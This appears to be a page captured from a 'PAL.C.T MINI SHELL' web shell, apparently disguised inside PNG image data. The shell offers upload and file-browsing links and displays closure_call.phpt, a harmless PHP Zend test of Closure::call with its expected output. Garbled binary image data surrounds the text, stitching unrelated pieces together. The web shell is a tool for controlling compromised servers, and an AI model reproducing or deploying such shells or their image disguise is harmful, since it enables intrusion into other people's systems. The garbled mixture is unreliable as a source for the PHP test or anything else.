php  IHDRwQ)Ba pHYs  sRGBgAMA aIDATxMk\Us&uo,mD )Xw+e?tw.oWp;QHZnw`gaiJ9̟灙a=nl[ ʨG;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$y H@E7j 1j+OFRg}ܫ;@Ea~ j`u'o> j-$_q?qSXzG'ay

PAL.C.T MINI SHELL
files >> /php-7.1.11/Zend/tests/
upload
files >> //php-7.1.11/Zend/tests/closure_call.phpt

--TEST--
Closure::call
--FILE--
<?php

class Foo {
    public $x = 0;
    function bar() {
        return function () {
            return $this->x;
        };
    }
}

$foo = new Foo;
$qux = $foo->bar();

$foobar = new Foo;
$foobar->x = 3;

var_dump($qux());

var_dump($qux->call($foo));

// Try on an object other than the one already bound
var_dump($qux->call($foobar));


$bar = function () {
    return $this->x;
};

$elePHPant = new StdClass;
$elePHPant->x = 7;

// Try on a StdClass
var_dump($bar->call($elePHPant));


$beta = function ($z) {
    return $this->x * $z;
};

// Ensure argument passing works
var_dump($beta->call($foobar, 7));

// Ensure ->call calls with scope of passed object
class FooBar {
    private $x = 3;
}

$foo = function () {
    var_dump($this->x);
};

$foo->call(new FooBar);

?>
--EXPECTF--
int(0)
int(0)
int(3)

Warning: Cannot bind closure to scope of internal class stdClass in %s line %d
NULL
int(21)
int(3)
y~or5J={Eeu磝QkᯘG{?+]ן?wM3X^歌>{7پK>on\jyR g/=fOroNVv~Y+NGuÝHWyw[eQʨSb>>}Gmx[o[<{Ϯ_qF vMIENDB`